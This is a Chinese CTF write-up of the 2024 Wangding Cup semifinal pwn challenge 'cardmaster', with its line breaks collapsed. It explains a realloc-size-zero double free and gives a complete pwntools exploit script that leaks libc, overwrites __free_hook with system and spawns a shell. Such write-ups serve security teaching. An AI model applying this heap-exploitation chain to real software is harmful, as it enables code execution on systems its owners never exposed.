2024 网鼎杯半决赛 pwn 题 cardmaster。
结构体可以恢复成这个样子:
00000000 struct card_set // sizeof=0x2800000000 {00000000 __int32 count;00000004 __int32 digit_range;00000008 __int64 random_level;00000010 char *chara_set;00000018 __int64 func;00000020 cards *addr;00000028 };
00000000 struct cards // sizeof=0x2000000000 {00000000 bucket *a[4];00000020 };
00000000 struct bucket // sizeof=0xC000000000 { // XREF: cards/r00000000 card bucket[12];000000C0 };
00000000 struct card // sizeof=0x1000000000 { // XREF: bucket/r00000000 __int64 color;00000008 __int64 number;00000010 };漏洞点在 new_set 的时候 realloc 之后没有清空指针…,所以可以 double free:
if ( (int *)a1->chara_set == &::chara ) // check chara changed chara = (char *)malloc(4 * a1->count); else chara = (char *)realloc(a1->chara_set, 4 * a1->count);show 功能中还有一个不太能打的栈溢出,index 溢出但是没有什么用。
while ( v7_idx < card_set->count ) { v6 = 0; for ( i = 0x80; ((unsigned __int8)i & card_set->chara_set[chara_idx]) != 0; i /= 2 ) ++v6; // 0x80 -> 1 // 0x40 -> 2 // 0x20 -> 3 // 0x10 -> 4 if ( v6 > 4 ) { puts("invalid suit table!"); exit(0); } v7[v7_idx] = chara_idx; // overflow here v7[v7_idx + 52] = v6; chara_idx += v6; v7_idx += v6 != 0; }==而且 realloc 如果 size 是 0 的话,行为类似于 free。==每次取出之间用 init 功能来避免每次都 realloc 同样的堆块。(走第一个 malloc 分支。)
from pwn import *import sys
elf_path = "./cardmaster"libc_path = "./libc.so.6"ip = ""port = ""
context(os='linux',arch='amd64',log_level='debug')
if len(sys.argv) > 1 and sys.argv[1] == "d": os.system('tmux set mouse on') context.terminal = ['tmux','splitw','-h'] p = gdb.debug(elf_path)elif len(sys.argv) > 1 and sys.argv[1] == "r": p = remote(ip, port)else: p = process(elf_path)
r = lambda : p.recv()rx = lambda x: p.recv(x)ru = lambda x: p.recvuntil(x)rud = lambda x: p.recvuntil(x, drop=True)s = lambda x: p.send(x)sl = lambda x: p.sendline(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
# ----------------------------------------------------------
def init(): sla(b">> ", b"1")
def set_info(suit_count: int, range :int, level:int, set: bytes): sla(b">> ", b"2") sla(b"suit count:", str(suit_count).encode()) sla(b"1 - ?", str(range).encode()) sla(b"level:", str(level).encode()) if suit_count != 0: sla(b"set:", set)
def show(): sla(b">> ", b"5")
def show_info(): sla(b">> ", b"3")
init()set_info(0x430//4, 10, 1, b"1")set_info(0, 10, 1, b"")show_info() # leak heap addressru(b"suit chara set:")libc_base = u64(rx(6).ljust(8, b"\x00")) - 0x3ebca0leak("libc_base", libc_base)
free_hook = 4118760system = 324672
set_info(0x430//4, 10, 1, b"".ljust(4*8, b"\xf1"))set_info(0x60//4, 10, 1, b"".ljust(4*8, b"\xf1"))set_info(0, 10, 1, b"")set_info(0, 10, 1, b"") # double free here, realloc return 0set_info(0x60//4, 10, 1, p64(free_hook + libc_base - 0x8).ljust(4*8, b"\xf1"))init()set_info(0x60//4, 10, 1, p64(libc_base + system).ljust(4*8, b"\xf1"))init()set_info(0x60//4, 10, 1, (b"/bin/sh\x00" + p64(libc_base + system)).ljust(4*8, b"\xf1"))set_info(0, 10, 1, b"")
p.interactive()